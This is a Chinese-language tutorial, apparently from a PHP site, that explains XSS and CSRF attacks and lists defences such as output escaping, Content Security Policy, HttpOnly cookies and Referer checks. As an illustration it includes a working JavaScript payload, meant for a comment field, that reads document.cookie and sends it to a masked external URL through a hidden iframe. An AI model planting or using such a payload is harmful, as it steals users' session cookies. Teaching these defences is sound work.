XSS:跨站腳本(Cross-site scripting,通常簡稱為XSS)是一種網站應用程式的安全漏洞攻擊,是程式碼注入的一種。它允許惡意用戶將程式碼注入到網頁上,其他用戶在觀看網頁時就會受到影響。這類攻擊通常包含了HTML以及使用者端腳本語言。
CSRF:跨站請求偽造(英文:Cross-site request forgery),也被稱為one-click attack 或session riding,通常縮寫為CSRF 或XSRF, 是一種挾制用戶在目前已登入的Web應用程式上執行非本意的操作的攻擊方法。
簡單理解就是:
XSS: 透過客戶端腳本語言(最常見如:JavaScript)
在一個論壇發文中發布一段惡意的JavaScript程式碼就是腳本注入,如果這個程式碼內容有請求外部伺服器,那麼就叫做XSS!
CSRF:又稱XSRF,冒充用戶發起請求(在用戶不知情的情況下),完成一些違背用戶意願的請求(如惡意發帖,刪帖,改密碼,發郵件等)。
// 用 <script type="text/javascript"></script> 包起来放在评论中 (function(window, document) { // 构造泄露信息用的 URL var cookies = document.cookie; var xssURIBase = "http://********"; var xssURI = xssURIBase + window.encodeURI(cookies); // 建立隐藏 iframe 用于通讯 var hideFrame = document.createElement("iframe"); hideFrame.height = 0; hideFrame.width = 0; hideFrame.style.display = "none"; hideFrame.src = xssURI; // 开工 document.body.appendChild(hideFrame); })(window, document);
中心思想:一切的一切外部來源數據,都要我們服務端程式碼的過濾,才能讓他展示到頁面上,也就是說,一切外部資料都是非法的,而且一定要做好過濾。
1.盡量使用innerText(IE)和textContent(Firefox),也就是jQuery的text()來輸出文字內容
2.必須要用innerHTML等等函數,則需要做類似php的htmlspecialchars的過濾
3.在輸出html時,加上Content Security Policy的Http Header
(作用:可以防止頁面被XSS攻擊時,嵌入第三方的腳本檔案等)
(缺陷:IE或低版本的瀏覽器可能不支援)
4.在設定Cookie時,加上HttpOnly參數
(作用:可防止頁面被XSS攻擊時,Cookie資訊被盜取,可相容至IE6)
(缺陷:網站本身的JS程式碼也無法操作Cookie,而且作用有限,只能保證Cookie的安全)
5.在開發API時,檢驗請求的Referer參數
(作用:可以在一定程度上防止CSRF攻擊)
(缺陷:IE或低版本的瀏覽器中,Referer參數可以被偽造)
相關建議:
以上是XSS和CSRF攻擊怎麼防護的詳細內容。更多資訊請關注PHP中文網其他相關文章!